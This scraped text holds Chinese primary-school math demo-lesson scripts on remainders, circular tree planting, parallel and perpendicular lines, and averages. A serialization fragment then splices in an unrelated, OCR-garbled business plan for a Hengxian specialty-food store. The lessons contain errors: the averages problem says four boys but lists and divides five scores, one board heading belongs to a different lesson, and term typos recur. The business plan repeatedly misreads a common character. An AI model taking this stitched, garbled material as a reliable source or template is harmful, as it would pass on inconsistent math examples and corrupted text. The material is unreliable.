@#@老师感到很欣慰!
@#@@#@(四)课堂小结@#@同学们,轻松愉快的课堂马上就要结束了,谁来跟老师同学们分享下这节课你收获了什么?
@#@不同小组都可以发言~~嗯,老师听到拉,同学们不仅有知识上的收获,还懂得了团结协作的重要性,看来同学们的确收获颇多呀。
@#@@#@(五)作业布置@#@课堂时间有限,知识的巩固和梳理仍需要进一步加强,所以今天的家庭作业是练习十四第3题,利用除法竖式解决实际问题,并说出竖式中每个6数字的含义。
@#@将我们学过的竖式做成一个数学书签,下节课展评。
@#@@#@好的,同学们,今天的课就上到这里啦,下课,同学们再见!
@#@@#@五、板书设计@#@有余数的除法@#@13÷@#@4=3(组)……1(根)@#@@#@练习:
@#@@#@《环形植树问题》@#@【知识与技能目标】@#@学生能够通过画图方式进一步理解并掌握环形植树问题公式,并利用该公式解决生活中的实际问题。
@#@@#@【过程与方法目标】@#@学生通过小组合作交流讨论理解植树问题在生活中的运用,能解决一些简单数学问题,进而提高理解能力、数学运算能力及解决实际问题的能力。
@#@@#@【情感态度与价值观目标】@#@通过本节课的学习,学生的数学兴趣得以提高,学生的合作与探索兴趣得以培养,能够进一步体会数学来源于生活并服务于生活的本领。
@#@@#@【教学重点】@#@探究植树的棵数和间隔数之间的关系,并能用发现的规律解决实际问题。
@#@@#@【教学难点】@#@理解环形植树公式的由来。
@#@@#@尊敬的各位评委老师,上午好!
@#@今天我试讲的课题是:
@#@环形植树问题,下面开始我的试讲。
@#@@#@同学们,上课,同学们好,请坐。
@#@@#@
(一)图片导入@#@同学们,上课之前,大家一起先来看老师给大家带来的几幅图片,哦~老是听到大家都说是植树。
@#@非常棒,每年的3.12日是植树节,但是老师今天想通过这几个图片问大家一个问题,第二幅图你们熟悉吗?
@#@对是上节课刚刚学习过的直线型两端不植树问题,那么涂3呢?
@#@如果老师想在一个这样的环形封闭草坪边缘间隔相同距离种树,又该如何计算呢?
@#@@#@带着这个问题,我们一起进入今天新课的学习——环形植树问题。
@#@@#@
(一)回顾旧知,循序导入@#@同学们,上节课我们已经学习了植树问题的两个公式,知道了这些公式,我们就能计算要在高速公路两旁植树,植树工人应该准备多少小树苗。
@#@那么谁来先跟老师分享下学习了哪两个公式?
@#@@#@哦,小红说在一条公路一边植树,两段都植树,棵数=间隔数+1@#@小明说在一条公路一边植树,两段都不植树,棵数=间隔数-1@#@大家说这两位同学说的对不对呀?
@#@同意的举手?
@#@呀,都同意呀,非常的不错,他们说的很准确很详细,那么什么是间隔数呢?
@#@是怎么计算的呢?
@#@好,第一排穿红色衣服的这位女生,你来说一下吧,你举手最快啦。
@#@@#@哦,她说呀间隔是两棵树之间的距离,间隔数是公路总长度除以间隔。
@#@这位同学反应非常的快,解释的也非常清楚,不错,请坐下。
@#@看来大家对上节课我们学习的直线上植树问题掌握的很精准,老师非常的高兴,这里给大家一个小掌声。
@#@那么我们继续来看看下一幅图片。
@#@@#@张伯伯准备在圆形池塘周围栽树,池塘周长120m,每隔10m栽一棵树,那么,一共要栽多少颗树呢?
@#@@#@通过这个问题,我们进入本节课---环形植树问题的学习@#@
(二)探究新知@#@1.交流讨论,探究公式@#@之前学习的都是线段上植树,那么环形线上植树该怎么计算,是否也有公式呢,哪位同学尝试来写下式子?
@#@好,就前排这两位举手最快的同学说下吧,嗯120÷@#@10=12,12+1=13。
@#@@#@另一位同学说是120÷@#@10=12,12-1=11@#@大家同意哪位同学的计算方法?
@#@哦,我听到有说第一位同学的做法对,有说第二位同学的做法对,也有说不知道的,没关系,现在我们同样按照之前的分组,进行交流讨论,讨论之前呢,老师同样给大家个小提示,之前探索直线植树问题时,由于数据大,我们可以把数据变小,借助画线段图来探究,环形是否也可以呢?
@#@好了,给大家10分钟的时间开始探究讨论吧?
@#@小组交流讨论结束后,找同学代表到黑板进板书。
@#@好说的时间到,谁来说一下。
@#@嗯课代表说说吧,哦,他说是120÷@#@10=12@#@2.计算结果,总结算法@#@大家同意这位同学的计算结果吗?
@#@结果相同的请举手?
@#@这么多同学都举手了呀。
@#@那,到底对不对呢?
@#@这与我们之前两位同学的列式都不一样,到底哪个正确呢?
@#@我们一起来探究下,首先,同学,你能具体说说你为什么这么计算吗?
@#@哦,他说他是先利用在本子上话一个周长为8cm的圆,然后间隔为2cm,发现正好能栽4棵树,也就是8÷@#@2=4。
@#@跟她想法一样的同学请举手,啊,都一样啊,非常的不错,看来同学们的迁移能力都很棒,请回到座位上。
@#@@#@大家再仔细看PPT上的动画图,如果把圆拉成直线,你又能发现什么?
@#@@#@小张说他发现栽的树与间隔数一一对应;@#@@#@小李说他还发现拉成直线后,相当于在直线上一端栽树,一端不栽树。
@#@@#@老师发现同学们说的都很对,而且反应很迅速,所以我们知道,这个池塘能栽的树棵树为120÷@#@10=12,这就可以了吗?
@#@对的,还要加上单位,12(棵)@#@非常仔细这位同学,应用题计算结果有单位的一定不要漏记单位。
@#@@#@3.师生总结@#@最后,老师再跟大家一起来总结下,对于环形植树问题,计算公式为棵树=间隔数。
@#@@#@(三)巩固练习@#@为了检验同学们对本节课的知识掌握程度,做一做P108的第一题,好,老师订正下答案,做对的举手?
@#@都做对了呀,看来同学们的确对本节课的知识掌握了。
@#@@#@(四)课堂小结@#@轻松愉快的课堂马上就要结束了,你们收获了什么呢?
@#@哦,老是听到有人说学到了环形植树问题公式,并利用该公式解决生活中的实际问题。
@#@还有人说数学源于生活,爱上了学习数学,看来这节课大家的确收获颇多。
@#@@#@(五)布置作业@#@那么今天的家庭作业就是同学们回家复习本节课知识,并做一下剩余课后习题,搜集身边见到的能用本节课所学知识解决的一些日常实际问题,以待下节课分享交流。
@#@@#@五、板书设计@#@植树问题@#@120÷@#@10=12(棵)练习:
@#@150÷@#@15=10(盏)@#@答:
@#@答:
@#@@#@环形植树公式:
@#@棵树=间隔数@#@ @#@@#@《平行与垂直》@#@【知识与技能目标】@#@学生结合生活情境,通过自主探究活动,初步认识平行线、垂线。
@#@@#@【过程与方法目标】@#@在比较分析、综合的观察与思维中渗透分类的思想方法。
@#@@#@【情感态度价值观目标】@#@通过讨论交流,使学生的合作精神得到和谐发展。
@#@@#@【教学重点】@#@通过学生的自主探究活动,初步认识平行线与垂线。
@#@@#@【教学难点】@#@理解永不相交的含义。
@#@@#@尊敬的各位老师,上午好,我今天试讲的题目是平行与垂直,下面开始我的试讲@#@上课,同学们好,请坐@#@
(一)问题导入@#@同学们,之前我们就学习过了直线、射线和线段,现在老师想问同学们一个问题,如果我要在黑板上画两条直线,那么他们会形成怎样的图形呢?
@#@你们都自己在本子上画一画试试吧?
@#@谁能回答刚刚老师的问题呢?
@#@老师发现你们都画完了,但都没有能正确的说出他们之间的关系,带着这个疑问,我们进入今天课程的学习——平行与垂直。
@#@@#@
(一)情境导入@#@同学们啊,你们手中都有几根铅笔呀?
@#@如果要是其中的两根掉落在地面上了,你想象一下这两根铅笔都会形成哪些图形呢?
@#@@#@谁来回答这个问题?
@#@都没有要回答的呀。
@#@哦,老师听到同学们异口同声的跟老师说,无法表达清楚两根铅笔会形成哪些图形。
@#@@#@说不清楚没有关系,同学们可以借助自己手中的铅笔和白纸摆一摆、画一画。
@#@他们形成的关系就是我们这节课要学习的新知识——平行于垂直。
@#@@#@
(二)新课讲授@#@每个同学先独立思考,然后4人小组开始讨论,给大家6分钟的时间,把可能出现的图形用铅笔摆一摆,摆完后,小组长组织小组同学把可能出现的图形用小棒摆在展示板上。
@#@@#@好,老师看同学们讨论的热火朝天的,请问哪一个小组愿意展示一下你们小组的展示板?
@#@@#@我们先来看一组小组代表展示几种可能出现的情况:
@#@平行和已经相交两种情况。
@#@@#@除了展示板上的这两种情况,其他小组还有补充吗?
@#@@#@哦,三组代表举手了,嗯,三组代表到黑板上又补充了一种情况:
@#@不平行暂时也不相交的情况。
@#@大家的表现都很棒,不仅动手作图能力强,而且思维也很敏捷开阔。
@#@都请坐。
@#@@#@好的,现在我们得到了这么多图形,现在我们给他们编上序号。
@#@看看这些图形,同学们能不能对它们进行分类呢?
@#@可以分成几类?
@#@为什么这样分?
@#@哪位同学分好类了?
@#@@#@哦,小红,你来说吧,你收举得最快了,嗯,她说呀,一种是已经相交的,一种是不相交的,一种是快要相交但还没相交的。
@#@@#@嗯!
@#@好的,哦?
@#@!
@#@那其他小组有别的不同想法吗?
@#@@#@哦,好多同学抢答了:
@#@快要相交但还没相交的那种情况和已经相交的那种情况应该同属于相交这种情况,因为根据直线的基本性质,把图三的两只铅笔分别延长,就会得到相交的两条直线。
@#@@#@大家说哪个分类更准确呀?
@#@对的,实际上可以分为两类,相交和不相交的。
@#@图三虽然看上去是不相交的,但是根据直线的基本性质,把图三的两只铅笔分别延长,就会得到相交的两条直线。
@#@小红,你现在明白为什么图3是属于相交的一类了吗?
@#@嗯知道了呀,非常的棒。
@#@@#@通过同学们自己的探索研究,我们发现了在同一平面内,两条直线的相互位置关系的两种不同情况:
@#@一种是相交,一种是不相交。
@#@二不相交的两条直线它们的关系有另外一个名字,——平行线。
@#@也就是,在同一平面内,不相交的两条直线就叫做平行线,我们说这两条直线互相平行,记作a//b,读作a平行于b。
@#@@#@3.归纳特征,构建新知@#@同学们我们再来一起看看属于相交情况的图一和图四,借助于你手中的量角器,看看你能不能有什么新的发现呢?
@#@@#@穿蓝色衣服的这位同学,你收据的最高了,你来说,哦,图四中两条直线所形成的角度数是90度,是一个特殊的角。
@#@@#@对!
@#@你说的太对了!
@#@你发现的最快,老师要给你一个大大的赞!
@#@是啊,同学们,如果两条直线相交成直角,我们就说这两条直线互相垂直。
@#@其中一条直线叫做另一条直线的垂线,两条直线的交点叫做垂足。
@#@记作@#@,读作a垂直于b。
@#@@#@所以,在同一个平面内,两条直线存在两种关系,相交和不相交,相交的角度为90度时,两直线就相互垂直,不相交,两直线就是互相平行。
@#@@#@(三)巩固提升@#@同学们,其实我们天天都在和垂线与平行线打交道。
@#@你们看:
@#@书本面相邻的两边是互相垂直的,相对的两边是互相平行的。
@#@同学们,你们还能找一找、想一想你的身边还有哪些物体的边是互相垂直的,哪些物体的边是互相平行的?
@#@找到后快快把你的发现告诉同组的同学。
@#@@#@(四)课堂小结@#@轻松愉快的一节课马上就要结束了,谁来谈谈收获与体会:
@#@嗯,老师听到拉,小红认识了甚么是相交,还知道了相交点,好,小王说我知道甚么是平行线,嗯,小燕你说,奥,它不仅有知识上的收获,而且他体会到了团结协作的重要性,那莫,最后老师希望你们利用自己的时间完成课后练习1,2题。
@#@今天的课就上到这里啦,下课,同学们再见!
@#@@#@(五)作业布置@#@课堂时间有限,知识的巩固和梳理仍需要进一步加强,所以今天的家庭作业是课后找一找,看看你的生活中还有哪些平行线和垂直线并将课后习题完成。
@#@@#@五、板书设计@#@平行四边形和梯形@#@@#@在同一平面内,不相交的两条直线就叫做平行线,我们说这两条直线互相平行。
@#@a//b,读作a平行于b.@#@两条直线相交成直角,就说这两条直线互相垂直。
@#@其中一条直线叫做另一条直线的垂线,两条直线的交点叫做垂足。
@#@记作@#@,读作a垂直于b。
@#@@#@《平均数》@#@【知识与技能目标】@#@1.理解平均数的含义;@#@@#@2.学会简单的求平均数的方法;@#@@#@【过程与方法目标】@#@通过对生活实例的观察、估计、验证、推理、交流等活动过程,探究平均数的含义及其求法。
@#@@#@【情感态度与价值观目标】@#@1.体会平均数在统计学中的作用;@#@@#@2.感受数学与生活的密切联系。
@#@@#@【教学重点】@#@1.理解平均数的意义;@#@@#@2.掌握平均数的方法。
@#@@#@【教学难点】@#@平均数计算方法的探究过程。
@#@@#@尊敬的各位评委老师,上午好!
@#@今天我试讲的课题是:
@#@平均数,下面开始我的试讲。
@#@@#@同学们,上课,同学们好,请坐。
@#@@#@
(一)活动导入@#@同学们,今天这节课我们来进行一次口算比赛,我们来一起看大屏幕上展示的题目,每小题1分,现在给大家1.5分钟时间,本次比赛以小组成绩作为评比对象,下面开始比赛,时间到,现在我公布正确答案,请同学们为自己打分,并请小组长完成统计表。
@#@那老师将各小组的总成绩填到我的统计表中来,看看各小组的排名,你们觉得公平吗?
@#@@#@哦~老师听到有的小组说——不公平,我们人少师:
@#@那怎么办,该用什么数据来进行小组排名更好?
@#@相信学习了今天的知识,这个问题就变得很简单了,我们今天一起学习——平均数。
@#@@#@
(一)生成问题,激趣导入@#@同学们,你们喜欢踢毽子吗?
@#@都喜欢呀,那老师今天要出一个与毽子相关的数学问题,我们看多媒体上的这个情境图,图里显示男女生进行踢毽子比赛,男生四人,女生五人,成绩分别为19,15,16,20,15和18,20,19,19,提出问题是,男生队平均每人踢了多少个,女生队呢?
@#@你们能帮老师解答出来吗?
@#@哦,大家都在摇头呀,没关系,相信学习了今天的知识,这个问题就变得很简单了,我们今天一起学习——平均数。
@#@@#@
(二)平均数的含义@#@现在同学们以小组为单位,出示课前搜集到的扩泉水瓶,以2组为例,每人分别收集到14个,12个,11个和15个,该组平均每人收集多少个?
@#@现在同学们按照之前分好的小组进行讨论,时间为5分钟。
@#@探究之前,给大家个小提示,怎样理解“平均每人收集多少个”?
@#@我们以前学过的平均分的知识,即把一个数平均分成几份,求每份是多少?
@#@好的,老师的提示就到这里,开始讨论吧,讨论结束后找学生代表回答,好的时间到,大家的手都聚的跟小树林似的,那就一组找个同学代表说一下你们的讨论结果吧,大家仔细听,嗯,他说平均每人收集个数相同;@#@哎?
@#@二组组长又要补充的吗?
@#@你一直举手,哦,他说总数固定不变,对四个人平均分;@#@很好,两位同学都请坐,他们的解释都是十分准确地,老师给你们一个赞。
@#@@#@教师这里还有一个问题,平均数是每个人实际收集的瓶子数吗?
@#@哦,大家异口同声的告诉老师平均数不是指每个学生实际收集到的瓶子数量,而是“相当于”把4个学生收集到的瓶子总数平均分成4份。
@#@@#@那么同学们还能举出生活中利用平均数的例子吗?
@#@@#@哦,小明说去游乐园时,身高在110厘米以下的儿童可以免票,这里的“110厘米”就是根据某一年龄儿童的平均身高得到的。
@#@嗯,小明很棒,思维很活跃,也很善于观察所以说数学在我们生活中到处可见。
@#@@#@(三)平均数的简单计算@#@请学生拿出课前准备的教具,通过动手操作等方式探究我们能否利用列算式求出平均每个人搜集的个数呢?
@#@前后小组可以讨论,也可以独自思考,给大家5分钟的时间。
@#@@#@谁先来说一下,奥,课代表先说吧:
@#@从14个里面取出一个放入12个瓶子中,从15个瓶子中取出两个放入11个瓶子中,这样就得到平均每人收集到13个瓶子。
@#@非常棒,课代表的这种做法在我们数学上叫移多补少法,把多的部分补到少的部分去,直接结果相同。
@#@还有不同意见的吗?
@#@哎?
@#@!
@#@同桌有不同意见,大家仔细听,嗯,她说呀,她利用刚刚讲过的平均分法,把四个人收集的瓶子放在一起构成整体,一共52个,再用52除以人数4,同样得到13个。
@#@好的先请坐,这两种方法都得到了相同的结果,都是正确的,那种方法更优呢?
@#@@#@老师这里有个问题,大家仔细听,如果是求平均身高,利用动手操作移多补少的方法可取吗?
@#@哎?
@#@大家都说不可取,所以刚刚第二位同学的做法是更简便更优对的。
@#@但移多补少的方法会更直观,也是要求大家能够掌握。
@#@@#@所以我们列出等式:
@#@(14+12+11+15)÷@#@4=13(个)。
@#@@#@也就是求平均数的方法:
@#@把每一个数相加求和,再用总和除以数的个数,从而得到平均数。
@#@@#@(四)反馈练习@#@那么我们现在回到上课之初提出的问题:
@#@男生队平均每人踢了多少个,女生队呢?
@#@两名学生板演,其余学生练习本上完成。
@#@就前面这两位举手的同学黑板上板演吧?
@#@@#@看大家都挺直了腰杆胸有成竹啦,我们一起看黑板上两位同学的做法均是利用平均分的方法得到:
@#@@#@男生队平均每人踢毽子数:
@#@(19+15+16+20+15)÷@#@5=85÷@#@5=17;@#@@#@女生队平均每人踢毽子数:
@#@(18+20+19+19)÷@#@4=76÷@#@4=19@#@他们结果很准确,做对的举手?
@#@大家注意求和时不要漏加、错加,养成认真严谨的学习习惯。
@#@@#@(五)归纳总结@#@轻松愉快的课堂马上就要结束了,通过这节课的学习,大家有哪些收获?
@#@谁愿意和大家分享一下?
@#@@#@哦小明说他知道了平均数的计算方法,还理解了平均数在具体生活情境中的含义;@#@@#@还有要补充的嘛?
@#@哎,小红你来说,";i:
21;s:
43471:
"XX地区特产专营性质的专卖连锁店创业项目商业计划书@#@ @#@@#@XX地区特产专营性质日勺专卖连锁店创业项目商业计划书@#@目录@#@一.摘要·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@4@#@二.公司简介·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@4@#@1.公司简介·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@4@#@2.公司日勺宗旨和目标·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@4@#@3.产品优势·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@4@#@4.技术优势·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@4@#@5.核心管理团队·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@4@#@三.市场分析·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@5@#@1.市场介绍·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@5@#@2.目标市场·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@5@#@3.需求分析·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@5@#@四.竞争分析·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@6@#@1.主要竞争对手分析·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@6@#@2.市场竞争策略·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@6@#@3.竞争优势分析·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@7@#@五.产品服务·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@7@#@1.产品发展规划·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@7@#@2.研究与开发·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@7@#@3.生产与运输·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@8@#@4.实施与服务·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@8@#@六.市场营销·@#@·@#@·@#@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·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@12@#@4.内部激励方案·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@·@#@12@#@ @#@@#@一.摘要@#@现在各地日勺农副土特产十分丰富,深受广大市民日勺喜爱,无论是走亲访友,还是佳节送礼,都是送礼日勺上上之选,横县日勺土特产也是一样,但是虽然土特产品种丰富,当地政府也在这方面日勺政策上给予当地农民很多惠农政策,在当地市场销量很好,但是由于缺乏有效日勺宣传和包装,所以使当地日勺县外市场一直不是很好.所以,开办一家营销农产品特色店,将本地日勺土特产经过筛选,包装后,推销到县外等县,市等地区,成为一种发展趋势.@#@通过调查,在横县,只有两家规模比较大日勺特产店,其他日勺都是农民自己进行小产量日勺售卖,而且横县日勺特产远近闻名,喜欢横县特产日勺人很多,销售市场空间很大.@#@所以我们日勺横县特产营销以打造“优质横县特产产品链”为目标,是以经营策划横县各种特产专营性质日勺专卖店,重质量,守信誉,价格实惠.横县特产专卖店地址定在南宁市内,通过各种宣传推销,来扩大横县特产日勺影响力,将横县特产售往各地.@#@二.公司简介@#@1.公司简介@#@横县特产专卖店是以经营横县各种土特产为主日勺专卖店,主要有大头菜,大粽,粉利,芝麻饼,茉莉花茶等等土特产,集合收购土特产,加工,销售为一体日勺经营销售模式,使广大人民都能买到正宗日勺横县土特产.@#@2.公司日勺宗旨和目标@#@横县特产专卖店日勺宗旨是让广大群众都能买到质量好,正宗日勺横县特产.本店日勺目标是把横县特产经南宁市这个市场,辐射到南宁市周边日勺市,县份,扩大横县特产日勺市场,使横县特产闻名广西.@#@3.产品优势@#@横县日勺特产种类繁多,而且横县是中国茉莉之乡,每年都会举办茉莉花节,横县特产口味丰富,品种多样,并且横县鱼生也是远近驰名,过节送礼,横县特产是首选,而且横县特产基本都可以开袋即食,方便又实惠.@#@4.技术优势@#@横县特产是横县发展经济日勺一大优势,也是重要日勺领域,除了茉莉花是横县经济收入日勺主要部分外,横县特产也是不可多得日勺优势,从种植到收获,都有着自身日勺种植技巧,也只有横县才能种植出好日勺横县特产.@#@5.核心管理团队@#@本店日勺经营管理团队有6人,一人负责原料采购,一人负责联系加工厂,进行合作加工,一人负责运输,一人负责财务,一人负责南宁日勺店面及营销方案,一人负责总领全局,并代表本店对外沟通.@#@三.市场分析@#@1.市场介绍@#@南宁市管辖下有6个县,分别是横县、宾阳县、上林县、马山县、武鸣县、隆安县.横县距离南宁市120公里,距离很近,横县特产在南宁市及其周边日勺县份知名度很高,每年无论是单位或个人,来横县采购特产日勺人数都在上涨,订购日勺数量也很大,但是由于横县只有两家专卖店在经营横县特产,而且规模不是很大,虽然都有自己日勺收购和加工厂,但是并不能囊括横县全部优秀日勺特产,有些小型日勺个体店虽然手工好,特产日勺质量好,但是也仅限在横县小有口碑,并没有能走出横县.因此,在南宁市开一家横县特产专卖店,不仅能把横县日勺特产更好日勺介绍出去,还能和横县县内优秀日勺有着传统手艺日勺小型个体店合作,拓宽他们日勺销路.南宁市日勺群众或者各县日勺群众,想要购买横县特产,只要到南宁日勺横县特产专卖店就可以订购.@#@2.目标市场@#@我们日勺横县特产专卖店日勺目标市场有三个阶段,第一个阶段就是把横县特产专卖店日勺知名度有效日勺扩散到南宁市及其周边6个